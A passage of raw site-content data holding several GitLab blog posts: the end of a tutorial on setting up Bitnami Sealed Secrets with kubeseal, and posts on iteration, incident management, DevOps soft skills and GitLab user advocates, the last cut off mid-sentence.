Kubernetes.\n\nBitnami's Sealed Secrets is composed of an in-cluster controller and a CLI tool. The cluster component defines a `SealedSecret` custom resource that stores the encrypted secret and related metadata. Once a `SealedSecret` is deployed into the cluster, the controller decrypts it and creates a native Kubernetes `Secret` resource from it. To create a `SealedSecret` resource, the `kubeseal` utility can be used. `kubeseal` can take a public key and transform and encrypt a native Kubernetes `Secret` into a `SealedSecret`, and `kubeseal` can help with retrieving the public key from the cluster-side controller too.\n\n## Setting up Bitnami's Sealed Secrets\n\nAs the GitLab Agent supports pure Kubernetes manifests to do GitOps, we will need the manifests for Sealed Secrets. Open the [Sealed Secrets releases page](https://github.com/bitnami-labs/sealed-secrets/releases/) and find the most recent release (Don't be fooled by the `helm` releases!). At the time of writing this article, the most recent [release is v0.16.0](https://github.com/bitnami-labs/sealed-secrets/releases/tag/v0.16.0). From there you can download the release `yaml`, if your cluster supports RBAC, I recommend the basic `controller.yaml` file.\n\n- Save and commit the `controller.yaml` under `kubernetes/sealed-secrets.yaml`\n\nPush the changes and wait a few seconds for them to get applied. Check that they got applied successfully using: `kubectl get pods -n kube-system -l name=sealed-secrets-controller`\n\n## Retrieving the public key\n\nWhile the user can encrypt a secret directly with `kubeseal`, this approach requires them to have access to the Kube API. Instead of providing access, we can fetch the public key from the Sealed Secrets controller and store it in the Git repo. The public key can be used to encrypt secrets, but is useless for decrypting them.\n\n```bash\nkubeseal --fetch-cert > sealed-secrets.pub.pem\n```\n\n### How to avoid storing unencrypted secrets\n\nI prefer to have an `ignored` directory within my Git repo. The content of this directory is never committed to Git, and I put every sensitive data under this directory.\n\n```bash\nmkdir ignored\ncat \u003C\u003CEOF > ignored/.gitignore\n*\n!.gitignore\nEOF\n```\n\n## Continue with setup - not needed if we use a box\n\nNow, you can create sealed secrets with the following two commands:\n\n```bash\necho \"Very secret\" | kubectl create secret generic my-secret -n gitlab-agent --dry-run=client --type=Opaque --from-file=token=/dev/stdin -o yaml > ignored/my-secret.yaml\nkubeseal --format=yaml --cert=sealed-secrets.pub.pem \u003C ignored/my-secret.yaml > kubernetes/\n```\n\nThe first command creates a regular Kubernetes `Secret` resource in the `gitlab-agent` namespace. Setting the namespace is important if you use Sealed Secrets and every SealedSecret is scoped for a specific namespace. You can read more about this in the Sealed Secrets documentation.\n\nThe second command takes a `Secret` resource object and turns it into an encrypted `SealedSecret` resource. In my case, the secret file:\n\n```yaml\napiVersion: v1\ndata:\n  token: VmVyeSBzZWNyZXQK\nkind: Secret\nmetadata:\n  creationTimestamp: null\n  name: my-secret\n  namespace: gitlab-agent\ntype: Opaque\n```\n\ngot turned into:\n\n```yaml\napiVersion: bitnami.com/v1alpha1\nkind: SealedSecret\nmetadata:\n  creationTimestamp: null\n  name: my-secret\n  namespace: gitlab-agent\nspec:\n  encryptedData:\n    token: AgC1m/D1UwliKD3C2QSv/g+zBi1qGz1YTLZfqnl5JJ4NydCatKzsp8LZr2stIlkwcS3f2YAo/ZIq1OUhOgSgkuNMwVdqsBx1zq7Z3xpGLMIMe7B3XhQ+ExWwqgrm1dTiTDHaH9eXsZWaNsruKQU0F8oGxgLfO/axEZeGWd4WngZRaed9B43dy2k05B6fZnxmwtUVSpr86MO52fX06/QdbvB8MZTrYb7qFuL14U0IDvdFl4l8sPl2rrXsriKg0fJHIV6XtlCwPpQGozTZTUX8nbvU0yXothBzPbaIUfXseFqaW8i/i0Ai+aKhWQAjPGooVAXGwKsuve16DxZ6GJPp1ymR1cEsBkEPlYKbVCKtH5VuptCYZuTXMM6OEPzjFabaIMIUVkkciHlUMcpKFfPnpf7XbBNqZCAKjt//9L99gc48dJRyO4pCrcpFnv6287d65UGnWjmcUJNQNBhEuh9k4esfEZuBNiYIz3Ouz7Wg5HQoT6v3i3J1X5LluWEcTK1G10T7UN+QrnklH4yUtx35yLp83B5/TGICo0Yq1QnARNbKhL5EXuwAO427XO65zzJ3Lh2ymUfrBY3bHO8NW4ykO7ZNDRdj/fsge1J8k4yaxeimQapDKs4XMhoNnKqUNPQYaiQzNPRoj9JwMvtvOH+WLJqEXHIc8RooWGkdo/SB7zp3q7OuHk6HRJM+AQVP3t0r3A1bVhHonUGlv1ApduM=\n  template:\n    metadata:\n      creationTimestamp: null\n      name: my-secret\n      namespace: gitlab-agent\n    type: Opaque\n```\n\nJust commit the `SealedSecret` and quickly start to watch for the event stream using `kubectl get events --all-namespaces --watch` to see when the sealed secret is unsealed and applied as a regular `Secret`.\n\n## Utility scripts\n\nIf you found the `kubeseal` command above to be quite complex, you can wrap it in a script.\n\n- Create `bin/seal-secret.sh` with the following content:\n\n```bash\n#!/bin/sh\n\nif [ $# -ne 2 ]\n  then\n    echo \"Usage: $0 ignored/my-secret.yaml output-dir/\"\n    echo \"This script requires two arguments\"\n    echo \"The first argument should be the unsealed secret\"\n    echo \"The second argument should be the directory to output the sealed secret\"\n  exit 1\nfi\n\n\nSECRET_FILE=$(basename $1)\n\nkubeseal --format=yaml --cert=sealed-secrets.pub.pem \u003C $1 > \"$2/SealedSecret.${SECRET_FILE}\"\n\necho \"Created file $2/SealedSecret.${SECRET_FILE}\"\n```\n\nThis script takes a path to a vanilla Kubernetes secret and an output directory, and tranforms your `Secret` into a `SealedSecret`.\n\n## Winding it up\n\nIn this article, we have seen how you can install Bitnami's Sealed Secret into your cluster and set it up for static secrets management. Please note the installation method provided here works for all the other 3rd party, off-the-shelf applications that can be deployed using Kubernetes manifests only.\n\n## What is next?\n\nIn the next article, we will see how you can access a Kubernetes cluster using GitLab CI/CD and why you might want to do it even if you aim for GitOps.\n\n_[Click here](/blog/the-ultimate-guide-to-gitops-with-gitlab/) for the next tutorial._\n\n\n",[534,2509,676],{"slug":16261,"featured":6,"template":678},"gitops-with-gitlab-secrets-management","content:en-us:blog:gitops-with-gitlab-secrets-management.yml","Gitops With Gitlab Secrets Management","en-us/blog/gitops-with-gitlab-secrets-management.yml","en-us/blog/gitops-with-gitlab-secrets-management",{"_path":16267,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16268,"content":16273,"config":16278,"_id":16280,"_type":16,"title":16281,"_source":17,"_file":16282,"_stem":16283,"_extension":20},"/en-us/blog/dont-confuse-these-twelve-shortcuts-with-iteration",{"title":16269,"description":16270,"ogTitle":16269,"ogDescription":16270,"noIndex":6,"ogImage":14571,"ogUrl":16271,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16271,"schema":16272},"Don’t confuse these 12 shortcuts with iteration","Iteration is a GitLab value. Sid Sijbrandij, GitLab’s co-founder and CEO, discusses 12 shortcuts that are not iterations to help refine what is considered a good iteration.","https://about.gitlab.com/blog/dont-confuse-these-twelve-shortcuts-with-iteration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Don’t confuse these 12 shortcuts with iteration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2021-12-01\",\n      }",{"title":16269,"description":16270,"authors":16274,"heroImage":14571,"date":16275,"body":16276,"category":962,"tags":16277},[3532],"2021-12-01","\n\n[Iteration](https://handbook.gitlab.com/handbook/values/#iteration) is one of GitLab’s [top 3 values](https://handbook.gitlab.com/handbook/values/#hierarchy) because it enables everyone to be efficient in how they deliver value to customers and the wider community. Iteration helps us [build our product and improve our work lives](/blog/power-of-iteration/). \n\nIn essence, iteration is reducing the scope of your next piece of work to the smallest valuable thing possible so that you can deliver it fast. By reducing the scope and delivering to the user, rather than holding it back while finishing a larger scope of work, you benefit in the following ways: \n\n- Reduce coordination efforts\n- Reduce cancellations\n- Easier and faster reviews\n- Get feedback faster\n\nIterating helps you ensure that your next step is in the right direction. \n\nAs we’ve practiced iteration at GitLab, I’ve found that when it’s not clearly understood, well-intentioned mistakes can happen. Because iteration is fundamental to everything that we do, it’s critical to regularly reinforce and refine what we define as an iteration. \n\nTo help clarify what is iteration, it helps to see examples of what iteration is not. Here are 12 shortcuts that I’ve seen be mistaken as iteration. \n\n## 1. Reducing quality\n\nSome people will take shortcuts, which leads to lower quality in the final product or deliverable. You can’t reduce quality to minimize the scope of an iteration. Your iteration needs to meet the same quality standards you would expect for any of your work. \n\nFor example, in the case of a user interface, every button needs to work and be properly styled and aligned. Nothing should feel out of place or unfinished. You can reduce the amount of functionality, but the functionality that you deliver needs to look and function as expected. \n\n## 2. Avoiding or reducing documentation\n\nWhen defining the scope of an iteration, make sure you include the right information so that the user can properly understand what happened and can derive value from your work. In the case of a new feature, without proper documentation, the recipient may not understand how to best use the feature, which defeats the purpose of delivering it quickly. \n\nIteration will make documentation faster given the reduced scope, so don’t avoid or delay the documentation. \n\n## 3. Compromising on security\n\nYou can’t compromise on security in the spirit of moving faster. An iteration must meet the same security standards and follow all the necessary security practices to ensure that your product and work doesn’t introduce any new vulnerabilities. \n\nAs an example, when building new features in GitLab, no matter how small an iteration is defined, we should always prioritize the protection of customers’ data. \n\n## 4. Delivering something that's not on the recommended path or on by default\n\nTo call an iteration complete, it needs to be on the recommended path or on by default. Otherwise, most users won’t see or benefit from the work.\n\nAt GitLab, in the past, we have made the mistake of considering an iteration complete before making a new feature the default or recommended path for all our users, which then results in fewer users for that functionality. To prevent having functionality in the product that users won’t find, we now require that the feature is on the recommended path and on by default before we call the iteration complete. \n\nFor big changes, such as when a feature may have a big impact on user experience or stability, we use feature flags when initially shipping a feature. This is a good strategy to start delivering something gradually into the product, but we don’t consider the iteration done until that feature flag has been removed and the feature is on by default. \n\n## 5. Shipping something of no value\n\nWhen considering the smallest scope possible for an iteration, the ultimate test needs to be whether it delivers something of value to the end user. Don’t confuse iteration with making progress on an initiative or checking off items on your to-do list. \n\nFor example, when building a new feature you may need to do a fair amount of set up. You may ship to production code that adds a configuration or capability that you’ll need to build the feature, but it’s completely transparent to the user. While that can be considered progress on your project timeline, it is not an iteration. The iteration completes when the user can start to derive some value from your efforts. \n\n## 6. An excuse to focus on unimportant items\n\nIteration will help you move faster and deliver more things, but you still have to prioritize and focus on what’s most important. When picking what to work on, you shouldn’t do first what’s smallest in scope. Instead, pick what will give you the highest value for the effort you’ll put in.\n\n## 7. Changing or lowering goalposts\n\nChanging a goal or lowering a goal is not iteration. Iteration is reducing the scope and keeping it small, but the reduced scope still needs to meet your goals. As you practice iteration, you may set goals for smaller time periods, which is a good practice I recommend. But changing the goal post is not a part of iteration. \n\n## 8. Revisions you don't ship or publish\n\nIt’s a common mistake to confuse revisions with iterations. To clearly understand the difference, see whether you’ve shipped or delivered something of value to the end user. If you haven’t, it is a revision, not an iteration. \n\nFor example, if when writing a blog post you get a draft reviewed and rewritten several times before publishing, those are considered revisions. Your first iteration is completed once you’ve published the first version of the blog post. \n\n## 9. An excuse to impose unrealistically tight timelines\n\nIf you set a timeline, it has to be realistic. I’ve seen instances in which people confuse iteration with just shrinking the timeline to something unrealistic. That is not iterating. Iteration is minimizing scope, but it requires a disciplined review of the scope to ensure that you’re allocating the right amount of time to complete it. \n\n## 10. An excuse to avoid planning\n\nSometimes teams confuse iteration with moving quickly on something without planning. This is not iterating. By reducing the scope, there will be less planning involved compared to the initial larger scope. But, no matter how small you make the scope of work, you need to plan, and that planning can be quite involved. You need to set an appropriate timeline to deliver the work and plan appropriately for reviews and dependencies. \n\nNot planning appropriately for an iteration negatively impacts efficiency, team morale, and can impact people’s lives outside of work. This needs to be avoided. \n\n## 11. Imposing long hours\n\nDon’t confuse iteration with imposing long working hours for a team. The goal of iterating is to scope work in a way that helps you deliver more tangible value within the same amount of time. Increasing the number of hours that the team works is not iteration. \n\n## 12. Expecting others to fix your work\n\nWhen you iterate, you need to take ownership and make sure that the end result is of value and meets all expectations of a finished product. You should not call an iteration complete if the work still requires fixing in order to be of value or meet quality expectations. \n\nAs GitLab grows as a company, reinforcing our Iteration value and staying clear about what is an iteration is fundamental to us [staying a startup](/company/still-a-startup/). I hope these 12 examples that are not iteration are helpful and empower everyone to help identify and correct situations when iteration is used incorrectly. Using iteration correctly will help us continue to move fast and deliver more value to our customers. It will also help keep the day-to-day momentum as we deliver valuable results. \n\nWatch this GitLab Unfiltered video where I discuss these 12 shortcuts that are not iteration.\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n\n  \u003Ciframe src=\"https://www.youtube.com/embed/BW6TWwNZzIQ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\n\u003C/figure>\n\n\u003C!-- blank line -->\n",[4103,1444,6962],{"slug":16279,"featured":6,"template":678},"dont-confuse-these-twelve-shortcuts-with-iteration","content:en-us:blog:dont-confuse-these-twelve-shortcuts-with-iteration.yml","Dont Confuse These Twelve Shortcuts With Iteration","en-us/blog/dont-confuse-these-twelve-shortcuts-with-iteration.yml","en-us/blog/dont-confuse-these-twelve-shortcuts-with-iteration",{"_path":16285,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16286,"content":16291,"config":16296,"_id":16298,"_type":16,"title":16299,"_source":17,"_file":16300,"_stem":16301,"_extension":20},"/en-us/blog/gitlab-incident-management",{"title":16287,"description":16288,"ogTitle":16287,"ogDescription":16288,"noIndex":6,"ogImage":12013,"ogUrl":16289,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16289,"schema":16290},"Downtime happens, but GitLab Incident Management can help","GitLab's DevOps Platform doesn't just make it easy to release safe software faster, it also streamlines the process for problem solving. Here's a deep dive into GitLab Incident Management.","https://about.gitlab.com/blog/gitlab-incident-management","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Downtime happens, but GitLab Incident Management can help\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Itzik Gan Baruch\"}],\n        \"datePublished\": \"2021-11-30\",\n      }",{"title":16287,"description":16288,"authors":16292,"heroImage":12013,"date":16293,"body":16294,"category":962,"tags":16295},[691],"2021-11-30","\n\nDowntime is expensive and the cost is growing. Software reliability is as important as the product itself – it doesn't matter what your product can do if your customers can't reliably access it. GitLab's Incident Management is built-in to our [DevOps Platform](/solutions/devops-platform/) and empowers teams with adaptable practices and a streamlined workflow for triage and resolving incidents. We offer tools that provide access to observability resources, such as metrics, logs, errors, runbooks, and traces, that foster easy collaboration across response teams, and that support continuous improvement via post-incident reviews and system recommendations. Here's a look at how it all works.\n\n## The costs of being down\n\nDowntime can cost companies hundreds of thousands of dollars in a single hour. Avoiding downtime is critical for organizations. Companies need to invest time, establish processes and culture around managing outages, and have processes to resolve them quickly. The larger an organization becomes, the more distributed their systems. This distribution leads to longer response times and more money lost. Investing in the right tools and fostering a culture of autonomy, feedback, quality, and automation leads to more time spent innovating and building software. If done well, teams will spend less time reacting to outages and racing to restore services. The tools your [DevOps](/topics/devops/) teams use to respond during incidents also have a huge effect on MTTR (Mean Time To Resolve, also known as Mean Time To Repair).  \n\n## What is an incident? \n\nIncidents are anomalous conditions that result in — or may lead to — service degradation or outages. Those outages can impact employee productivity, and decrease customer satisfaction and trust. These events require human intervention to avert disruptions or restore service to operational status. Incidents are always given attention and resolved.\n\n## What is Incident Management? \n\nIncident Management is a process which is focused on restoring services as quickly as possible and proactively addressing early vulnerabilities and warnings, all while keeping employees productive and customers happy. \n\n## Meet GitLab Incident Management \n\n[GitLab Incident Management](https://docs.gitlab.com/ee/operations/incident_management/) aims to decrease the overhead of managing incidents so response teams can spend more time actually resolving problems. We accelerate problem resolution through efficient knowledge sharing in the same tool they already use to collaborate on development. Enabling teams to quickly gather resources in one central, aggregated view gives the team a single source of truth and shortens the MTTR. \n\nGitLab’s built-in Incident management solution provides tools for the triage, response, and remediation of incidents. It enables developers to easily triage and view the alerts and incidents generated by their application. By surfacing alerts and incidents _where the code is being developed_, problems can be resolved more efficiently. \n\n## Why Incident Management within GitLab?\n\nGitLab is a [DevOps Platform](/solutions/devops-platform/), delivered as a single application. As such, we believe there are additional benefits for DevOps users to manage incidents within GitLab.\n\n1. Co-location of code, CI/CD, monitoring tools, and incidents reduces context switching and enables GitLab to correlate what would be disparate events or processes within one single control pane.\n\n2. The same interface for development collaboration and incident response streamlines the process. The developers who are on-call can use the same interface they already use every day; this prevents the incident responders from having to use a tool they are unfamiliar with and thus hampering their ability to respond to the incident.\n\n## How to manage incidents in the GitLab DevOps Platform\n\n### Create an incident manually or automatically \n\nYou can create incidents manually or enable GitLab to create incidents automatically whenever an alert is triggered. If you use PagerDuty for incidents, you can [set up a webhook with PagerDuty](https://docs.gitlab.com/ee/operations/incident_management/incidents.html#create-incidents-via-the-pagerduty-webhook) to automatically create a GitLab incident for each PagerDuty incident. \n\n![pd](https://about.gitlab.com/images/blogimages/incident-mgmt/pager.png)\n\n### Alert Management \n\n[Alerts](https://docs.gitlab.com/ee/operations/incident_management/alerts.html) are a critical entity in incident management workflow. They represent a notable event that might indicate a service outage or disruption. GitLab can accept alerts from any source via a webhook receiver. GitLab provides a list view for triage and detail view for deeper investigation of what happened.\n\n![alert](https://about.gitlab.com/images/blogimages/incident-mgmt/alert.png)\n\n### On-Call Schedules\n\nTo maintain the availability of your software services you need to schedule on-call teams. [On-call schedule management](https://docs.gitlab.com/ee/operations/incident_management/oncall_schedules.html) is being used to create schedules for responders to rotate on-call responsibilities. Within each schedule you can add team members to rotations that last hours, weeks or days depending on your team's needs. Some teams need to be on-call just during business hours, while others have someone on-call 24/7, 365; every team is different.  \n\n![on-call](https://about.gitlab.com/images/blogimages/incident-mgmt/on-call.png)\n\n### Escalation Policies\n\n[Escalation Policies](https://docs.gitlab.com/ee/operations/incident_management/escalation_policies.html) determine when users on-call get notified and what happens if they don’t respond. They are the if/then logic that use on-call schedules to make sure teams never miss an incident. You can create an escalation policy in the GitLab project where you manage on-call schedules.\n\n![escalation](https://about.gitlab.com/images/blogimages/incident-mgmt/escalation.png) \n\n### Paging and Notifications \n\nWhen there is a new alert or incident, it is important for a responder to be notified immediately so they can triage and respond to the problem. GitLab Incident Management supports email notifications, with plans to add Slack notifications, SMS, and phone calls. \n\n\n\n\n\n\n",[4103,2368,1268],{"slug":16297,"featured":6,"template":678},"gitlab-incident-management","content:en-us:blog:gitlab-incident-management.yml","Gitlab Incident Management","en-us/blog/gitlab-incident-management.yml","en-us/blog/gitlab-incident-management",{"_path":16303,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16304,"content":16309,"config":16313,"_id":16315,"_type":16,"title":16316,"_source":17,"_file":16317,"_stem":16318,"_extension":20},"/en-us/blog/soft-skills-are-the-key-to-your-devops-career-advancement",{"title":16305,"description":16306,"ogTitle":16305,"ogDescription":16306,"noIndex":6,"ogImage":15518,"ogUrl":16307,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16307,"schema":16308},"Soft skills are the key to your DevOps career advancement","Learn the top soft skills you should invest time in to get a better salary and achieve your career goals.","https://about.gitlab.com/blog/soft-skills-are-the-key-to-your-devops-career-advancement","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Soft skills are the key to your DevOps career advancement\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2021-11-30\",\n      }",{"title":16305,"description":16306,"authors":16310,"heroImage":15518,"date":16293,"body":16311,"category":8943,"tags":16312},[3907],"\nIf work in [DevOps](/topics/devops/) and you want to become a DevOps manager, communicate tech needs effectively with executives in the C-Suite, or boost your salary, it’s time to invest in your soft skills.\n\n\"Soft skills should be a huge focus for anyone looking to further their career,” says [PJ Metz](https://gitlab.com/PjMetz), education evangelist at GitLab. “You may be brilliant at the technical aspects of a job, but if you don’t have good interpersonal relationships, you'll get left behind.”\n\nNow, hold on! Just hear me out. I’m not talking about Kumbaya here. No holding hands and dancing under the full moon. Nope. I’m talking about non-technical, yet critical, skills that will enable you to engage with co-workers, especially executives, so their eyes don’t glaze over when you excitedly talk tech. \n\n“You need more than to know the tech really well. You need good leadership and communication skills,” says [Brendan O’Leary](https://gitlab.com/brendan), a staff developer evangelist, and product and engineering leader at GitLab. \n\nThis is particularly true if you want to be promoted to management. “Managers need to understand people and how they work together and what really motivates - and demotivates - people,” O’Leary says.\n\nMetz points to public speaking as another essential skill. “As virtual becomes a standard for meetings and conventions, being able to speak well means conveying your point well,” he says. “It also solidifies you as a leader who can help others understand complicated topics.”\n\nIf you’re going to help the business side of the company understand how DevOps will enable them to be more competitive and make more money, then you need soft skills. If you want that manager position, you need soft skills. If you even want to work better with your DevOps teammates, you need soft skills. Trust me. Knowing this stuff will help you get your tech and career goals accomplished.\n\n## The soft skills focus list\n\nSo what are we talking about when we say soft skills? Here are some examples:\n \n**Communication skills**, including how to talk to colleagues on the business side without using technical jargon or acronyms \n\n**Business understanding** – what does your company need?\n\n**Leadership**, including people management\n\n**Cool under pressure** – can you work calmly and effectively?\n\n**Problem solving**\n\n**Collaboration**: While DevOps is about collaborating to push out better software, you also need to be able to collaborate with people in other departments, like marketing, finance, sales and legal, to improve the business overall.\n\n## Where do you learn soft skills? \n\nCollege courses, journal articles and conference sessions are always a good place to start to learn soft skills. Here are some additional options:\n \nThere are helpful podcasts out there. For instance, check out the “Humans of DevOps” podcast series from the [DevOps Institute](https://www.devopsinstitute.com/resources/), which features episodes such as “Discussing Qualities of Great Leaders” and “Humans are Hard, Code is Easy.”\n\nYouTube has a lot of instructional videos, including “How to Speak With Confidence”, “Business Communication Essentials”, “Collaborative Problem Solving”, and “How to Speak Like an Executive.”\n\n[Coursera](https://www.coursera.org/) also is worth a look. Founded by Stanford University computer science professors, Coursera works with universities and other organizations to offer online courses, certifications and degrees in a variety of subjects.\n\nDon’t forget us right here at GitLab. For instance, [GitLab Learn](https://about.gitlab.com/learn/) offers classes such as “Effective Communication” and “Mastering Self-Motivation and Self-Advocacy.”\n\nLinkedIn also offers classes on business communication.\n\n## The payoff for improving soft skills\n\nYah, we get it. When you think about [ways to up your salary](/blog/four-tips-to-increase-your-devops-salary/) or focus on [continuous education](/blog/best-advice-for-your-devops-career-keep-on-learning/), you think about so-called hard skills, like mastering new programming languages and learning more about security and automation. You forget about, simply ignore or choose not to “waste” time on the soft skills. Then you wonder why you’re not moving up the career ladder, leading a team or making a presentation to the business execs. \n\nThe [2021 Enterprise DevOps Skills Report](https://learn.gitlab.com/devops-institute/2021-doi-devops-upskilling-report?utm_medium=email&utm_source=marketo&utm_campaign=devopsgtm&utm_content=doi-devops-upskilling-report) showed that people skills now are considered a “must have,” with 69 percent of survey respondents ranking human skills as the second-most valuable. Similarly, 68 percent indicated that a DevOps leader must be skilled in empowering\nand developing others.\n\nThe bottom line is if you invest in your soft skills, including learning to speak the language of business, then you’re more likely to achieve your career goals. \n\n",[7715,4103,2368],{"slug":16314,"featured":6,"template":678},"soft-skills-are-the-key-to-your-devops-career-advancement","content:en-us:blog:soft-skills-are-the-key-to-your-devops-career-advancement.yml","Soft Skills Are The Key To Your Devops Career Advancement","en-us/blog/soft-skills-are-the-key-to-your-devops-career-advancement.yml","en-us/blog/soft-skills-are-the-key-to-your-devops-career-advancement",{"_path":16320,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16321,"content":16326,"config":16333,"_id":16335,"_type":16,"title":16336,"_source":17,"_file":16337,"_stem":16338,"_extension":20},"/en-us/blog/five-devops-platform-benefits-that-inspire-gitlab-users",{"title":16322,"description":16323,"ogTitle":16322,"ogDescription":16323,"noIndex":6,"ogImage":14571,"ogUrl":16324,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16324,"schema":16325},"Five benefits that inspire users to become GitLab advocates","Learn how a single tweet led to insight from our advocates on how they use GitLab to improve their work and their own lives.","https://about.gitlab.com/blog/five-devops-platform-benefits-that-inspire-gitlab-users","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"5 DevOps platform benefits that inspire GitLab users to become GitLab advocates\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Omar Fernandez\"}],\n        \"datePublished\": \"2021-11-23\",\n      }",{"title":16327,"description":16323,"authors":16328,"heroImage":14571,"date":16330,"body":16331,"category":962,"tags":16332},"5 DevOps platform benefits that inspire GitLab users to become GitLab advocates",[16329],"Omar Fernandez","2021-11-23","\n\nAt GitLab, we believe that a [single DevOps platform helps teams](https://about.gitlab.com/handbook/product/single-application/) to collaborate better and deliver software faster and with better security. In September, GitLab’s CEO Sid Sijbrandij [asked on Twitter](https://twitter.com/sytses/status/1440799819119824898) for volunteers willing to share their stories of advocating for the adoption of GitLab. Over the following days, GitLab team members interviewed 25 GitLab advocates who offered to share their experiences. Among other things, we asked them: \n\n- How did you first encounter GitLab?\n- Why have you advocated for the adoption of GitLab?\n- How has advocating and using GitLab in your organization benefited you? \n\nOur advocate interviews validated that GitLab’s single-application [DevOps Platform](/solutions/devops-platform/) has unlocked value for GitLab users. Below are excerpts of some of these interviews to give you the opportunity to hear directly from GitLab users. In them, you'll learn about five GitLab benefits that converted these users into advocates. \n\n## 1. A single application helps focus on work that matters\n\nGitLab’s single application helps users to focus on work that matters. GitLab reduces the need to context-switch as users no longer need to jump across disparate point-solutions. Users are better able to focus, stay on task, and drive business results.\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n\n\u003Ciframe src=\"https://www.youtube.com/embed/pMWXn6NslEE\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\n\u003C/figure>\n\n\u003C!-- blank line -->\n\nSam Briesemeister highlights the benefits of working on one platform, being able to link the work done to a specific issue, and increasing developer productivity. By using GitLab, users save time in their life. \n\n_“What [investing in GitLab] ultimately does is, actually, we’re saving somebody’s time [in] their life. We’re not wasting their life.”_\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n\n  \u003Ciframe src=\"https://www.youtube.com/embed/YcsT53c_Nuo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\n\u003C/figure>\n\n\u003C!-- blank line -->\n\nProfessor Neil Gershenfeld speaks about how GitLab allows his labs to do what used to require five separate solutions, one each for web serving, teaching classes, access control, documentation, and security. \n\n_When asked how GitLab has made your life better, Professor Gershenfeld said: “It’s almost hard to answer because it’s like ‘why do I like air?’ It’s just sort of, most of my work ends up in GitLab. It’s just a natural part of my working day.”_\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n\n\u003Ciframe src=\"https://www.youtube.com/embed/nUY8RrOyGPo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\n\u003C/figure>\n\n\u003C!-- blank line -->\n\nPhilipp Westphalen, one of our [GitLab Heroes](https://about.gitlab.com/community/heroes/members/), speaks about GitLab’s ease of use and how having a single tool instead of multiple separate solutions allows him to focus on getting things done. \n\n_“For me, it feels like home... It’s really easy to use... and you can focus on getting things done.”_\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n\n\u003Ciframe src=\"https://www.youtube.com/embed/heFWR23Z5nw\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\n\u003C/figure>\n\n\u003C!-- blank line -->\n\nPavle Djuric also speaks to us about the ability to focus on work and GitLab’s ease of use.\n\n_“[Working in GitLab] makes you feel very professional. You feel like you’re doing your job. You’re way more efficient as a team.”_\n\n## 2. Reducing manual tasks through automation\n\nSeveral advocates spoke about the benefits of automating tasks within GitLab to free up time for more productive activities. \n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n\n\u003Ciframe src=\"https://www.youtube.com/embed/HW0ByLmG8sY\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\n\u003C/figure>\n\n\u003C!-- blank line -->\n\nAndrew Jones speaks about using GitLab to reduce repetitive tasks. He can’t imagine going back to the old way of doing things with many manual tasks. \n\n_“It just takes care of the stuff that would normally be laborious, painful repetitive stuff and allows you to focus on your primary function. I couldn’t imagine working without GitLab. I can’t imagine going back to the old way.”_\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n\n\u003Ciframe src=\"https://www.youtube.com/embed/oN1cieaeLBk\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\n\u003C/figure>\n\n\u003C!-- blank line -->\n\nJan Mikes tells us about automation and the ability to get things done without context switching or moving across apps. This helps his productivity and efficiency. \n\n_“There’s high demand for CI engineers and since I work as an architect, this is a high-demand skill, to write pipelines, optimize performance, shorten the time from writing the code to deploy to production. And all of this I can deliver and that’s another reason why I love GitLab, because anything that comes to my mind, I figure some way how to do it with GitLab CI.”_\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n\n\u003Ciframe src=\"https://www.youtube.com/embed/SvQUM6DL1B4\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\n\u003C/figure>\n\n\u003C!-- blank line -->\n\nMarc-Aurele Brothier speaks to us about how the adoption of GitLab helped his team be more efficient and streamline collaboration. \n\n_“[A customer was] very happy because we could demonstrate [to] them that, with [GitLab], that they could create the release, open a PR, say I want to deploy in our environment, and just accept it, and it was done two minutes later and it was automated. So it’s not anymore like asking someone, sending emails, or sending a request to another team. Just you do it and you get it.”_\n\n## 3. Improved transparency and collaboration\n\nTransparency and Collaboration are two of [GitLab’s values](https://handbook.gitlab.com/handbook/values/), so it was great to hear how adopting GitLab helps teams operate in a more transparent and collaborative manner. \n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n\n\u003Ciframe src=\"https://www.youtube.com/embed/1rdtQ3tvDtg\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\n\u003C/figure>\n\n\u003C!-- blank line -->\n\nGerben Geijteman tells us that collaboration and communication are enhanced by the transparency you get in GitLab by having the solution, or code, linked to directly from the issue tracker. This benefits collaboration with other team members and with clients. \n\n_“GitLab for me unifies it all in the same place so everyone is looking at the same code in 